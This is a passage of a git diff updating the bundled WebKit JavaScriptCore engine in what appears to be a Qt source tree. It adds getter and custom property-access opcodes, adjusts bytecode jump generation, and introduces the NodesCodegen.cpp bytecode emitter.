-    if (vPC[0].u.opcode == interpreter->getOpcode(op_get_by_id_chain)) {
+    if (vPC[0].u.opcode == interpreter->getOpcode(op_get_by_id_chain) || vPC[0].u.opcode == interpreter->getOpcode(op_get_by_id_getter_chain)) {
         vPC[4].u.structure->deref();
         vPC[5].u.structureChain->deref();
         return;
@@ -1373,7 +1425,9 @@ void CodeBlock::derefStructures(Instruction* vPC) const
         return;
     }
     if ((vPC[0].u.opcode == interpreter->getOpcode(op_get_by_id_proto_list))
-        || (vPC[0].u.opcode == interpreter->getOpcode(op_get_by_id_self_list))) {
+        || (vPC[0].u.opcode == interpreter->getOpcode(op_get_by_id_self_list))
+        || (vPC[0].u.opcode == interpreter->getOpcode(op_get_by_id_getter_proto_list))
+        || (vPC[0].u.opcode == interpreter->getOpcode(op_get_by_id_getter_self_list))) {
         PolymorphicAccessStructureList* polymorphicStructures = vPC[4].u.polymorphicStructures;
         polymorphicStructures->derefStructures(vPC[5].u.operand);
         delete polymorphicStructures;
@@ -1388,16 +1442,16 @@ void CodeBlock::refStructures(Instruction* vPC) const
 {
     Interpreter* interpreter = m_globalData->interpreter;
 
-    if (vPC[0].u.opcode == interpreter->getOpcode(op_get_by_id_self)) {
+    if (vPC[0].u.opcode == interpreter->getOpcode(op_get_by_id_self) || vPC[0].u.opcode == interpreter->getOpcode(op_get_by_id_getter_self) || vPC[0].u.opcode == interpreter->getOpcode(op_get_by_id_custom_self)) {
         vPC[4].u.structure->ref();
         return;
     }
-    if (vPC[0].u.opcode == interpreter->getOpcode(op_get_by_id_proto)) {
+    if (vPC[0].u.opcode == interpreter->getOpcode(op_get_by_id_proto) || vPC[0].u.opcode == interpreter->getOpcode(op_get_by_id_getter_proto)) {
         vPC[4].u.structure->ref();
         vPC[5].u.structure->ref();
         return;
     }
-    if (vPC[0].u.opcode == interpreter->getOpcode(op_get_by_id_chain)) {
+    if (vPC[0].u.opcode == interpreter->getOpcode(op_get_by_id_chain) || vPC[0].u.opcode == interpreter->getOpcode(op_get_by_id_getter_chain)) {
         vPC[4].u.structure->ref();
         vPC[5].u.structureChain->ref();
         return;
diff --git a/src/3rdparty/webkit/JavaScriptCore/bytecode/CodeBlock.h b/src/3rdparty/webkit/JavaScriptCore/bytecode/CodeBlock.h
index 4ba58d7..d92dc9d 100644
--- a/src/3rdparty/webkit/JavaScriptCore/bytecode/CodeBlock.h
+++ b/src/3rdparty/webkit/JavaScriptCore/bytecode/CodeBlock.h
@@ -36,7 +36,6 @@
 #include "JSGlobalObject.h"
 #include "JumpTable.h"
 #include "Nodes.h"
-#include "PtrAndFlags.h"
 #include "RegExp.h"
 #include "UString.h"
 #include <wtf/FastAllocBase.h>
@@ -110,44 +109,54 @@ namespace JSC {
         CodeLocationNearCall callReturnLocation;
         CodeLocationDataLabelPtr hotPathBegin;
         CodeLocationNearCall hotPathOther;
-        PtrAndFlags<CodeBlock, HasSeenShouldRepatch> ownerCodeBlock;
+        CodeBlock* ownerCodeBlock;
         CodeBlock* callee;
-        unsigned position;
+        unsigned position : 31;
+        unsigned hasSeenShouldRepatch : 1;
         
         void setUnlinked() { callee = 0; }
         bool isLinked() { return callee; }
 
         bool seenOnce()
         {
-            return ownerCodeBlock.isFlagSet(hasSeenShouldRepatch);
+            return hasSeenShouldRepatch;
         }
 
         void setSeen()
         {
-            ownerCodeBlock.setFlag(hasSeenShouldRepatch);
+            hasSeenShouldRepatch = true;
         }
     };
 
     struct MethodCallLinkInfo {
         MethodCallLinkInfo()
             : cachedStructure(0)
+            , cachedPrototypeStructure(0)
         {
         }
 
         bool seenOnce()
         {
-            return cachedPrototypeStructure.isFlagSet(hasSeenShouldRepatch);
+            ASSERT(!cachedStructure);
+            return cachedPrototypeStructure;
         }
 
         void setSeen()
         {
-            cachedPrototypeStructure.setFlag(hasSeenShouldRepatch);
+            ASSERT(!cachedStructure && !cachedPrototypeStructure);
+            // We use the values of cachedStructure & cachedPrototypeStructure to indicate the
+            // current state.
+            //     - In the initial state, both are null.
+            //     - Once this transition has been taken once, cachedStructure is
+            //       null and cachedPrototypeStructure is set to a nun-null value.
+            //     - Once the call is linked both structures are set to non-null values.
+            cachedPrototypeStructure = (Structure*)1;
         }
 
         CodeLocationCall callReturnLocation;
         CodeLocationDataLabelPtr structureLabel;
         Structure* cachedStructure;
-        PtrAndFlags<Structure, HasSeenShouldRepatch> cachedPrototypeStructure;
+        Structure* cachedPrototypeStructure;
     };
 
     struct FunctionRegisterInfo {
@@ -438,7 +447,7 @@ namespace JSC {
         size_t numberOfConstantRegisters() const { return m_constantRegisters.size(); }
         void addConstantRegister(const Register& r) { return m_constantRegisters.append(r); }
         Register& constantRegister(int index) { return m_constantRegisters[index - FirstConstantRegisterIndex]; }
-        ALWAYS_INLINE bool isConstantRegisterIndex(int index) { return index >= FirstConstantRegisterIndex; }
+        ALWAYS_INLINE bool isConstantRegisterIndex(int index) const { return index >= FirstConstantRegisterIndex; }
         ALWAYS_INLINE JSValue getConstant(int index) const { return m_constantRegisters[index - FirstConstantRegisterIndex].jsValue(); }
 
         unsigned addFunctionDecl(NonNullPassRefPtr<FunctionExecutable> n) { unsigned size = m_functionDecls.size(); m_functionDecls.append(n); return size; }
@@ -482,6 +491,13 @@ namespace JSC {
     private:
 #if !defined(NDEBUG) || ENABLE(OPCODE_SAMPLING)
         void dump(ExecState*, const Vector<Instruction>::const_iterator& begin, Vector<Instruction>::const_iterator&) const;
+
+        CString registerName(ExecState*, int r) const;
+        void printUnaryOp(ExecState*, int location, Vector<Instruction>::const_iterator&, const char* op) const;
+        void printBinaryOp(ExecState*, int location, Vector<Instruction>::const_iterator&, const char* op) const;
+        void printConditionalJump(ExecState*, const Vector<Instruction>::const_iterator&, Vector<Instruction>::const_iterator&, int location, const char* op) const;
+        void printGetByIdOp(ExecState*, int location, Vector<Instruction>::const_iterator&, const char* op) const;
+        void printPutByIdOp(ExecState*, int location, Vector<Instruction>::const_iterator&, const char* op) const;
 #endif
 
         void reparseForExceptionInfoIfNecessary(CallFrame*);
diff --git a/src/3rdparty/webkit/JavaScriptCore/bytecode/EvalCodeCache.h b/src/3rdparty/webkit/JavaScriptCore/bytecode/EvalCodeCache.h
index 05834fc..a036dd4 100644
--- a/src/3rdparty/webkit/JavaScriptCore/bytecode/EvalCodeCache.h
+++ b/src/3rdparty/webkit/JavaScriptCore/bytecode/EvalCodeCache.h
@@ -65,7 +65,7 @@ namespace JSC {
         bool isEmpty() const { return m_cacheMap.isEmpty(); }
 
     private:
-        static const int maxCacheableSourceLength = 256;
+        static const unsigned maxCacheableSourceLength = 256;
         static const int maxCacheEntries = 64;
 
         typedef HashMap<RefPtr<UString::Rep>, RefPtr<EvalExecutable> > EvalCacheMap;
diff --git a/src/3rdparty/webkit/JavaScriptCore/bytecode/Instruction.h b/src/3rdparty/webkit/JavaScriptCore/bytecode/Instruction.h
index bcef7fb..ab6659f 100644
--- a/src/3rdparty/webkit/JavaScriptCore/bytecode/Instruction.h
+++ b/src/3rdparty/webkit/JavaScriptCore/bytecode/Instruction.h
@@ -31,6 +31,7 @@
 
 #include "MacroAssembler.h"
 #include "Opcode.h"
+#include "PropertySlot.h"
 #include "Structure.h"
 #include <wtf/VectorTraits.h>
 
@@ -144,6 +145,7 @@ namespace JSC {
         Instruction(StructureChain* structureChain) { u.structureChain = structureChain; }
         Instruction(JSCell* jsCell) { u.jsCell = jsCell; }
         Instruction(PolymorphicAccessStructureList* polymorphicStructures) { u.polymorphicStructures = polymorphicStructures; }
+        Instruction(PropertySlot::GetValueFunc getterFunc) { u.getterFunc = getterFunc; }
 
         union {
             Opcode opcode;
@@ -152,6 +154,7 @@ namespace JSC {
             StructureChain* structureChain;
             JSCell* jsCell;
             PolymorphicAccessStructureList* polymorphicStructures;
+            PropertySlot::GetValueFunc getterFunc;
         } u;
     };
 
diff --git a/src/3rdparty/webkit/JavaScriptCore/bytecode/Opcode.h b/src/3rdparty/webkit/JavaScriptCore/bytecode/Opcode.h
index 4facbef..509daeb 100644
--- a/src/3rdparty/webkit/JavaScriptCore/bytecode/Opcode.h
+++ b/src/3rdparty/webkit/JavaScriptCore/bytecode/Opcode.h
@@ -104,6 +104,16 @@ namespace JSC {
         macro(op_get_by_id_proto, 8) \
         macro(op_get_by_id_proto_list, 8) \
         macro(op_get_by_id_chain, 8) \
+        macro(op_get_by_id_getter_self, 8) \
+        macro(op_get_by_id_getter_self_list, 8) \
+        macro(op_get_by_id_getter_proto, 8) \
+        macro(op_get_by_id_getter_proto_list, 8) \
+        macro(op_get_by_id_getter_chain, 8) \
+        macro(op_get_by_id_custom_self, 8) \
+        macro(op_get_by_id_custom_self_list, 8) \
+        macro(op_get_by_id_custom_proto, 8) \
+        macro(op_get_by_id_custom_proto_list, 8) \
+        macro(op_get_by_id_custom_chain, 8) \
         macro(op_get_by_id_generic, 8) \
         macro(op_get_array_length, 8) \
         macro(op_get_string_length, 8) \
@@ -128,9 +138,11 @@ namespace JSC {
         macro(op_jneq_ptr, 4) \
         macro(op_jnless, 4) \
         macro(op_jnlesseq, 4) \
+        macro(op_jless, 4) \
         macro(op_jmp_scopes, 3) \
         macro(op_loop, 2) \
         macro(op_loop_if_true, 3) \
+        macro(op_loop_if_false, 3) \
         macro(op_loop_if_less, 4) \
         macro(op_loop_if_lesseq, 4) \
         macro(op_switch_imm, 4) \
@@ -194,8 +206,12 @@ namespace JSC {
     #undef VERIFY_OPCODE_ID
 
 #if HAVE(COMPUTED_GOTO)
+#if COMPILER(RVCT)
     typedef void* Opcode;
 #else
+    typedef const void* Opcode;
+#endif
+#else
     typedef OpcodeID Opcode;
 #endif
 
diff --git a/src/3rdparty/webkit/JavaScriptCore/bytecode/SamplingTool.cpp b/src/3rdparty/webkit/JavaScriptCore/bytecode/SamplingTool.cpp
index 865c919..3f0babc 100644
--- a/src/3rdparty/webkit/JavaScriptCore/bytecode/SamplingTool.cpp
+++ b/src/3rdparty/webkit/JavaScriptCore/bytecode/SamplingTool.cpp
@@ -33,7 +33,7 @@
 #include "Interpreter.h"
 #include "Opcode.h"
 
-#if !PLATFORM(WIN_OS)
+#if !OS(WINDOWS)
 #include <unistd.h>
 #endif
 
@@ -91,7 +91,7 @@ void SamplingFlags::stop() {}
 uint32_t SamplingFlags::s_flags = 1 << 15;
 
 
-#if PLATFORM(WIN_OS)
+#if OS(WINDOWS)
 
 static void sleepForMicroseconds(unsigned us)
 {
diff --git a/src/3rdparty/webkit/JavaScriptCore/bytecompiler/BytecodeGenerator.cpp b/src/3rdparty/webkit/JavaScriptCore/bytecompiler/BytecodeGenerator.cpp
index 04dae15..e46bb15 100644
--- a/src/3rdparty/webkit/JavaScriptCore/bytecompiler/BytecodeGenerator.cpp
+++ b/src/3rdparty/webkit/JavaScriptCore/bytecompiler/BytecodeGenerator.cpp
@@ -616,7 +616,7 @@ PassRefPtr<Label> BytecodeGenerator::emitJump(Label* target)
 
 PassRefPtr<Label> BytecodeGenerator::emitJumpIfTrue(RegisterID* cond, Label* target)
 {
-    if (m_lastOpcodeID == op_less && !target->isForward()) {
+    if (m_lastOpcodeID == op_less) {
         int dstIndex;
         int src1Index;
         int src2Index;
@@ -627,7 +627,7 @@ PassRefPtr<Label> BytecodeGenerator::emitJumpIfTrue(RegisterID* cond, Label* tar
             rewindBinaryOp();
 
             size_t begin = instructions().size();
-            emitOpcode(op_loop_if_less);
+            emitOpcode(target->isForward() ? op_jless : op_loop_if_less);
             instructions().append(src1Index);
             instructions().append(src2Index);
             instructions().append(target->bind(begin, instructions().size()));
@@ -692,9 +692,7 @@ PassRefPtr<Label> BytecodeGenerator::emitJumpIfTrue(RegisterID* cond, Label* tar
 
 PassRefPtr<Label> BytecodeGenerator::emitJumpIfFalse(RegisterID* cond, Label* target)
 {
-    ASSERT(target->isForward());
-
-    if (m_lastOpcodeID == op_less) {
+    if (m_lastOpcodeID == op_less && target->isForward()) {
         int dstIndex;
         int src1Index;
         int src2Index;
@@ -711,7 +709,7 @@ PassRefPtr<Label> BytecodeGenerator::emitJumpIfFalse(RegisterID* cond, Label* ta
             instructions().append(target->bind(begin, instructions().size()));
             return target;
         }
-    } else if (m_lastOpcodeID == op_lesseq) {
+    } else if (m_lastOpcodeID == op_lesseq && target->isForward()) {
         int dstIndex;
         int src1Index;
         int src2Index;
@@ -738,12 +736,12 @@ PassRefPtr<Label> BytecodeGenerator::emitJumpIfFalse(RegisterID* cond, Label* ta
             rewindUnaryOp();
 
             size_t begin = instructions().size();
-            emitOpcode(op_jtrue);
+            emitOpcode(target->isForward() ? op_jtrue : op_loop_if_true);
             instructions().append(srcIndex);
             instructions().append(target->bind(begin, instructions().size()));
             return target;
         }
-    } else if (m_lastOpcodeID == op_eq_null) {
+    } else if (m_lastOpcodeID == op_eq_null && target->isForward()) {
         int dstIndex;
         int srcIndex;
 
@@ -758,7 +756,7 @@ PassRefPtr<Label> BytecodeGenerator::emitJumpIfFalse(RegisterID* cond, Label* ta
             instructions().append(target->bind(begin, instructions().size()));
             return target;
         }
-    } else if (m_lastOpcodeID == op_neq_null) {
+    } else if (m_lastOpcodeID == op_neq_null && target->isForward()) {
         int dstIndex;
         int srcIndex;
 
@@ -776,7 +774,7 @@ PassRefPtr<Label> BytecodeGenerator::emitJumpIfFalse(RegisterID* cond, Label* ta
     }
 
     size_t begin = instructions().size();
-    emitOpcode(op_jfalse);
+    emitOpcode(target->isForward() ? op_jfalse : op_loop_if_false);
     instructions().append(cond->index());
     instructions().append(target->bind(begin, instructions().size()));
     return target;
@@ -906,7 +904,7 @@ RegisterID* BytecodeGenerator::emitEqualityOp(OpcodeID opcodeID, RegisterID* dst
             && src1->isTemporary()
             && m_codeBlock->isConstantRegisterIndex(src2->index())
             && m_codeBlock->constantRegister(src2->index()).jsValue().isString()) {
-            const UString& value = asString(m_codeBlock->constantRegister(src2->index()).jsValue())->value();
+            const UString& value = asString(m_codeBlock->constantRegister(src2->index()).jsValue())->tryGetValue();
             if (value == "undefined") {
                 rewindUnaryOp();
                 emitOpcode(op_is_undefined);
@@ -1942,9 +1940,9 @@ static int32_t keyForCharacterSwitch(ExpressionNode* node, int32_t min, int32_t
     UNUSED_PARAM(max);
     ASSERT(node->isString());
     UString::Rep* clause = static_cast<StringNode*>(node)->value().ustring().rep();
-    ASSERT(clause->size() == 1);
+    ASSERT(clause->length() == 1);
     
-    int32_t key = clause->data()[0];
+    int32_t key = clause->characters()[0];
     ASSERT(key >= min);
     ASSERT(key <= max);
     return key - min;
diff --git a/src/3rdparty/webkit/JavaScriptCore/bytecompiler/BytecodeGenerator.h b/src/3rdparty/webkit/JavaScriptCore/bytecompiler/BytecodeGenerator.h
index 4648fb5..8b6a425 100644
--- a/src/3rdparty/webkit/JavaScriptCore/bytecompiler/BytecodeGenerator.h
+++ b/src/3rdparty/webkit/JavaScriptCore/bytecompiler/BytecodeGenerator.h
@@ -192,6 +192,19 @@ namespace JSC {
             return emitNode(0, n);
         }
 
+        void emitNodeInConditionContext(ExpressionNode* n, Label* trueTarget, Label* falseTarget, bool fallThroughMeansTrue)
+        {
+            if (!m_codeBlock->numberOfLineInfos() || m_codeBlock->lastLineInfo().lineNumber != n->lineNo()) {
+                LineInfo info = { instructions().size(), n->lineNo() };
+                m_codeBlock->addLineInfo(info);
+            }
+            if (m_emitNodeDepth >= s_maxEmitNodeDepth)
+                emitThrowExpressionTooDeepException();
+            ++m_emitNodeDepth;
+            n->emitBytecodeInConditionContext(*this, trueTarget, falseTarget, fallThroughMeansTrue);
+            --m_emitNodeDepth;
+        }
+
         void emitExpressionInfo(unsigned divot, unsigned startOffset, unsigned endOffset)
         { 
             divot -= m_codeBlock->sourceOffset();
diff --git a/src/3rdparty/webkit/JavaScriptCore/bytecompiler/NodesCodegen.cpp b/src/3rdparty/webkit/JavaScriptCore/bytecompiler/NodesCodegen.cpp
new file mode 100644
index 0000000..e682c73
--- /dev/null
+++ b/src/3rdparty/webkit/JavaScriptCore/bytecompiler/NodesCodegen.cpp
@@ -0,0 +1,1999 @@
+/*
+*  Copyright (C) 1999-2002 Harri Porten (porten@kde.org)
+*  Copyright (C) 2001 Peter Kelly (pmk@post.com)
+*  Copyright (C) 2003, 2004, 2005, 2006, 2007, 2008, 2009 Apple Inc. All rights reserved.
+*  Copyright (C) 2007 Cameron Zwarich (cwzwarich@uwaterloo.ca)
+*  Copyright (C) 2007 Maks Orlovich
+*  Copyright (C) 2007 Eric Seidel <eric@webkit.org>
+*
+*  This library is free software; you can redistribute it and/or
+*  modify it under the terms of the GNU Library General Public
+*  License as published by the Free Software Foundation; either
+*  version 2 of the License, or (at your option) any later version.
+*
+*  This library is distributed in the hope that it will be useful,
+*  but WITHOUT ANY WARRANTY; without even the implied warranty of
+*  MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU
+*  Library General Public License for more details.
+*
+*  You should have received a copy of the GNU Library General Public License
+*  along with this library; see the file COPYING.LIB.  If not, write to
+*  the Free Software Foundation, Inc., 51 Franklin Street, Fifth Floor,
+*  Boston, MA 02110-1301, USA.
+*
+*/
+
+#include "config.h"
+#include "Nodes.h"
+#include "NodeConstructors.h"
+
+#include "BytecodeGenerator.h"
+#include "CallFrame.h"
+#include "Debugger.h"
+#include "JIT.h"
+#include "JSFunction.h"
+#include "JSGlobalObject.h"
+#include "JSStaticScopeObject.h"
+#include "LabelScope.h"
+#include "Lexer.h"
+#include "Operations.h"
+#include "Parser.h"
+#include "PropertyNameArray.h"
+#include "RegExpObject.h"
+#include "SamplingTool.h"
+#include <wtf/Assertions.h>
+#include <wtf/RefCountedLeakCounter.h>
+#include <wtf/Threading.h>
+
+using namespace WTF;
+
+namespace JSC {
+
+/*
+    Details of the emitBytecode function.
+
+    Return value: The register holding the production's value.
+             dst: An optional parameter specifying the most efficient destination at
+                  which to store the production's value. The callee must honor dst.
+
+    The dst argument provides for a crude form of copy propagation. For example,
+
+        x = 1
+
+    becomes
+    
+        load r[x], 1
+    
+    instead of 
+
+        load r0, 1
+        mov r[x], r0
+    
+    because the assignment node, "x =", passes r[x] as dst to the number node, "1".
+*/
+
+// ------------------------------ ThrowableExpressionData --------------------------------
+
+static void substitute(UString& string, const UString& substring)
+{
+    unsigned position = string.find("%s");
+    ASSERT(position != UString::NotFound);
+    string = makeString(string.substr(0, position), substring, string.substr(position + 2));
+}
+
+RegisterID* ThrowableExpressionData::emitThrowError(BytecodeGenerator& generator, ErrorType type, const char* message)
+{
+    generator.emitExpressionInfo(divot(), startOffset(), endOffset());
+    RegisterID* exception = generator.emitNewError(generator.newTemporary(), type, jsString(generator.globalData(), message));
+    generator.emitThrow(exception);
+    return exception;
+}
+
+RegisterID* ThrowableExpressionData::emitThrowError(BytecodeGenerator& generator, ErrorType type, const char* messageTemplate, const UString& label)
+{
+    UString message = messageTemplate;
+    substitute(message, label);
+    generator.emitExpressionInfo(divot(), startOffset(), endOffset());
+    RegisterID* exception = generator.emitNewError(generator.newTemporary(), type, jsString(generator.globalData(), message));
+    generator.emitThrow(exception);
+    return exception;
+}
+
+inline RegisterID* ThrowableExpressionData::emitThrowError(BytecodeGenerator& generator, ErrorType type, const char* messageTemplate, const Identifier& label)
+{
+    return emitThrowError(generator, type, messageTemplate, label.ustring());
+}
+
+// ------------------------------ NullNode -------------------------------------
+
+RegisterID* NullNode::emitBytecode(BytecodeGenerator& generator, RegisterID* dst)
+{
+    if (dst == generator.ignoredResult())
+        return 0;
+    return generator.emitLoad(dst, jsNull());
+}
+
+// ------------------------------ BooleanNode ----------------------------------
+
+RegisterID* BooleanNode::emitBytecode(BytecodeGenerator& generator, RegisterID* dst)
+{
+    if (dst == generator.ignoredResult())
+        return 0;
+    return generator.emitLoad(dst, m_value);
+}
+
+// ------------------------------ NumberNode -----------------------------------
+
+RegisterID* NumberNode::emitBytecode(BytecodeGenerator& generator, RegisterID* dst)
+{
+    if (dst == generator.ignoredResult())
+        return 0;
+    return generator.emitLoad(dst, m_value);
+}
+
+// ------------------------------ StringNode -----------------------------------
+
+RegisterID* StringNode::emitBytecode(BytecodeGenerator& generator, RegisterID* dst)
+{
+    if (dst == generator.ignoredResult())
+        return 0;
+    return generator.emitLoad(dst, m_value);
+}
+
+// ------------------------------ RegExpNode -----------------------------------
+
+RegisterID* RegExpNode::emitBytecode(BytecodeGenerator& generator, RegisterID* dst)
+{
+    RefPtr<RegExp> regExp = RegExp::create(generator.globalData(), m_pattern.ustring(), m_flags.ustring());
+    if (!regExp->isValid())
+        return emitThrowError(generator, SyntaxError, "Invalid regular expression: %s", regExp->errorMessage());
+    if (dst == generator.ignoredResult())
+        return 0;
+    return generator.emitNewRegExp(generator.finalDestination(dst), regExp.get());
+}
+
+// ------------------------------ ThisNode -------------------------------------
+
+RegisterID* ThisNode::emitBytecode(BytecodeGenerator& generator, RegisterID* dst)
+{
+    if (dst == generator.ignoredResult())
+        return 0;
+    return generator.moveToDestinationIfNeeded(dst, generator.thisRegister());
+}
+
+// ------------------------------ ResolveNode ----------------------------------
+
+bool ResolveNode::isPure(BytecodeGenerator& generator) const
+{
+    return generator.isLocal(m_ident);
+}
+
+RegisterID* ResolveNode::emitBytecode(BytecodeGenerator& generator, RegisterID* dst)
+{
+    if (RegisterID* local = generator.registerFor(m_ident)) {
+        if (dst == generator.ignoredResult())
+            return 0;
+        return generator.moveToDestinationIfNeeded(dst, local);
+    }
+    
+    generator.emitExpressionInfo(m_startOffset + m_ident.size(), m_ident.size(), 0);
+    return generator.emitResolve(generator.finalDestination(dst), m_ident);
+}
+
+// ------------------------------ ArrayNode ------------------------------------
+
+RegisterID* ArrayNode::emitBytecode(BytecodeGenerator& generator, RegisterID* dst)
+{
+    // FIXME: Should we put all of this code into emitNewArray?
+
+    unsigned length = 0;
+    ElementNode* firstPutElement;
+    for (firstPutElement = m_element; firstPutElement; firstPutElement = firstPutElement->next()) {
+        if (firstPutElement->elision())
+            break;
+        ++length;
+    }
+
+    if (!firstPutElement && !m_elision)
+        return generator.emitNewArray(generator.finalDestination(dst), m_element);
+
+    RefPtr<RegisterID> array = generator.emitNewArray(generator.tempDestination(dst), m_element);
+
+    for (ElementNode* n = firstPutElement; n; n = n->next()) {
+        RegisterID* value = generator.emitNode(n->value());
+        length += n->elision();
+        generator.emitPutByIndex(array.get(), length++, value);
+    }
+
+    if (m_elision) {
+        RegisterID* value = generator.emitLoad(0, jsNumber(generator.globalData(), m_elision + length));
+        generator.emitPutById(array.get(), generator.propertyNames().length, value);
+    }
+
+    return generator.moveToDestinationIfNeeded(dst, array.get());
+}
+
+bool ArrayNode::isSimpleArray() const
+{
+    if (m_elision || m_optional)
+        return false;
+    for (ElementNode* ptr = m_element; ptr; ptr = ptr->next()) {
+        if (ptr->elision())
+            return false;
+    }
+    return true;
+}
+
+ArgumentListNode* ArrayNode::toArgumentList(JSGlobalData* globalData) const
+{
+    ASSERT(!m_elision && !m_optional);
+    ElementNode* ptr = m_element;
+    if (!ptr)
+        return 0;
+    ArgumentListNode* head = new (globalData) ArgumentListNode(globalData, ptr->value());
+    ArgumentListNode* tail = head;
+    ptr = ptr->next();
+    for (; ptr; ptr = ptr->next()) {
+        ASSERT(!ptr->elision());
+        tail = new (globalData) ArgumentListNode(globalData, tail, ptr->value());
+    }
+    return head;
+}
+
+// ------------------------------ ObjectLiteralNode ----------------------------
+
+RegisterID* ObjectLiteralNode::emitBytecode(BytecodeGenerator& generator, RegisterID* dst)
+{
+     if (!m_list) {
+         if (dst == generator.ignoredResult())
+             return 0;
+         return generator.emitNewObject(generator.finalDestination(dst));
+     }
+     return generator.emitNode(dst, m_list);
+}
+
+// ------------------------------ PropertyListNode -----------------------------
+
+RegisterID* PropertyListNode::emitBytecode(BytecodeGenerator& generator, RegisterID* dst)
+{
+    RefPtr<RegisterID> newObj = generator.tempDestination(dst);
+    
+    generator.emitNewObject(newObj.get());
+    
+    for (PropertyListNode* p = this; p; p = p->m_next) {
+        RegisterID* value = generator.emitNode(p->m_node->m_assign);
+        
+        switch (p->m_node->m_type) {
+            case PropertyNode::Constant: {
+                generator.emitPutById(newObj.get(), p->m_node->name(), value);
+                break;
+            }
+            case PropertyNode::Getter: {
+                generator.emitPutGetter(newObj.get(), p->m_node->name(), value);
+                break;
+            }
+            case PropertyNode::Setter: {
+                generator.emitPutSetter(newObj.get(), p->m_node->name(), value);
+                break;
+            }
+            default:
+                ASSERT_NOT_REACHED();
+        }
+    }
+    
+    return generator.moveToDestinationIfNeeded(dst, newObj.get());
+}
+
+// ------------------------------ BracketAccessorNode --------------------------------
+
+RegisterID* BracketAccessorNode::emitBytecode(BytecodeGenerator& generator, RegisterID* dst)
+{
+    RefPtr<RegisterID> base = generator.emitNodeForLeftHandSide(m_base, m_subscriptHasAssignments, m_subscript->isPure(generator));
+    RegisterID* property = generator.emitNode(m_subscript);
+    generator.emitExpressionInfo(divot(), startOffset(), endOffset());
+    return generator.emitGetByVal(generator.finalDestination(dst), base.get(), property);
+}
+
+// ------------------------------ DotAccessorNode --------------------------------
+
+RegisterID* DotAccessorNode::emitBytecode(BytecodeGenerator& generator, RegisterID* dst)
+{
+    RegisterID* base = generator.emitNode(m_base);
+    generator.emitExpressionInfo(divot(), startOffset(), endOffset());
+    return generator.emitGetById(generator.finalDestination(dst), base, m_ident);
+}
+
+// ------------------------------ ArgumentListNode -----------------------------
+
+RegisterID* ArgumentListNode::emitBytecode(BytecodeGenerator& generator, RegisterID* dst)
+{
+    ASSERT(m_expr);
+    return generator.emitNode(dst, m_expr);
+}
+
+// ------------------------------ NewExprNode ----------------------------------
+
+RegisterID* NewExprNode::emitBytecode(BytecodeGenerator& generator, RegisterID* dst)
+{
+    RefPtr<RegisterID> func = generator.emitNode(m_expr);
+    return generator.emitConstruct(generator.finalDestination(dst), func.get(), m_args, divot(), startOffset(), endOffset());
+}
+
+// ------------------------------ EvalFunctionCallNode ----------------------------------
+
+RegisterID* EvalFunctionCallNode::emitBytecode(BytecodeGenerator& generator, RegisterID* dst)
+{
+    RefPtr<RegisterID> func = generator.tempDestination(dst);
+    RefPtr<RegisterID> thisRegister = generator.newTemporary();
+    generator.emitExpressionInfo(divot() - startOffset() + 4, 4, 0);
+    generator.emitResolveWithBase(thisRegister.get(), func.get(), generator.propertyNames().eval);
+    return generator.emitCallEval(generator.finalDestination(dst, func.get()), func.get(), thisRegister.get(), m_args, divot(), startOffset(), endOffset());
+}
+
+// ------------------------------ FunctionCallValueNode ----------------------------------
+
+RegisterID* FunctionCallValueNode::emitBytecode(BytecodeGenerator& generator, RegisterID* dst)
+{
+    RefPtr<RegisterID> func = generator.emitNode(m_expr);
+    RefPtr<RegisterID> thisRegister = generator.emitLoad(generator.newTemporary(), jsNull());
+    return generator.emitCall(generator.finalDestination(dst, func.get()), func.get(), thisRegister.get(), m_args, divot(), startOffset(), endOffset());
+}
+
+// ------------------------------ FunctionCallResolveNode ----------------------------------
+
+RegisterID* FunctionCallResolveNode::emitBytecode(BytecodeGenerator& generator, RegisterID* dst)
+{
+    if (RefPtr<RegisterID> local = generator.registerFor(m_ident)) {
+        RefPtr<RegisterID> thisRegister = generator.emitLoad(generator.newTemporary(), jsNull());
+        return generator.emitCall(generator.finalDestination(dst, thisRegister.get()), local.get(), thisRegister.get(), m_args, divot(), startOffset(), endOffset());
+    }
+
+    int index = 0;
+    size_t depth = 0;
+    JSObject* globalObject = 0;
+    if (generator.findScopedProperty(m_ident, index, depth, false, globalObject) && index != missingSymbolMarker()) {
+        RefPtr<RegisterID> func = generator.emitGetScopedVar(generator.newTemporary(), depth, index, globalObject);
+        RefPtr<RegisterID> thisRegister = generator.emitLoad(generator.newTemporary(), jsNull());
+        return generator.emitCall(generator.finalDestination(dst, func.get()), func.get(), thisRegister.get(), m_args, divot(), startOffset(), endOffset());
+    }
+
+    RefPtr<RegisterID> func = generator.newTemporary();
+    RefPtr<RegisterID> thisRegister = generator.newTemporary();
+    int identifierStart = divot() - startOffset();
+    generator.emitExpressionInfo(identifierStart + m_ident.size(), m_ident.size(), 0);
+    generator.emitResolveWithBase(thisRegister.get(), func.get(), m_ident);
+    return generator.emitCall(generator.finalDestination(dst, func.get()), func.get(), thisRegister.get(), m_args, divot(), startOffset(), endOffset());
+}
+
+// ------------------------------ FunctionCallBracketNode ----------------------------------
+
+RegisterID* FunctionCallBracketNode::emitBytecode(BytecodeGenerator& generator, RegisterID* dst)
+{
+    RefPtr<RegisterID> base = generator.emitNode(m_base);
+    RegisterID* property = generator.emitNode(m_subscript);
+    generator.emitExpressionInfo(divot() - m_subexpressionDivotOffset, startOffset() - m_subexpressionDivotOffset, m_subexpressionEndOffset);
+    RefPtr<RegisterID> function = generator.emitGetByVal(generator.tempDestination(dst), base.get(), property);
+    RefPtr<RegisterID> thisRegister = generator.emitMove(generator.newTemporary(), base.get());
+    return generator.emitCall(generator.finalDestination(dst, function.get()), function.get(), thisRegister.get(), m_args, divot(), startOffset(), endOffset());
+}
+
+// ------------------------------ FunctionCallDotNode ----------------------------------
+
+RegisterID* FunctionCallDotNode::emitBytecode(BytecodeGenerator& generator, RegisterID* dst)
+{
+    RefPtr<RegisterID> function = generator.tempDestination(dst);
+    RefPtr<RegisterID> thisRegister = generator.newTemporary();
+    generator.emitNode(thisRegister.get(), m_base);
+    generator.emitExpressionInfo(divot() - m_subexpressionDivotOffset, startOffset() - m_subexpressionDivotOffset, m_subexpressionEndOffset);
+    generator.emitMethodCheck();
+    generator.emitGetById(function.get(), thisRegister.get(), m_ident);
+    return generator.emitCall(generator.finalDestination(dst, function.get()), function.get(), thisRegister.get(), m_args, divot(), startOffset(), endOffset());
+}
+
+RegisterID* CallFunctionCallDotNode::emitBytecode(BytecodeGenerator& generator, RegisterID* dst)
+{
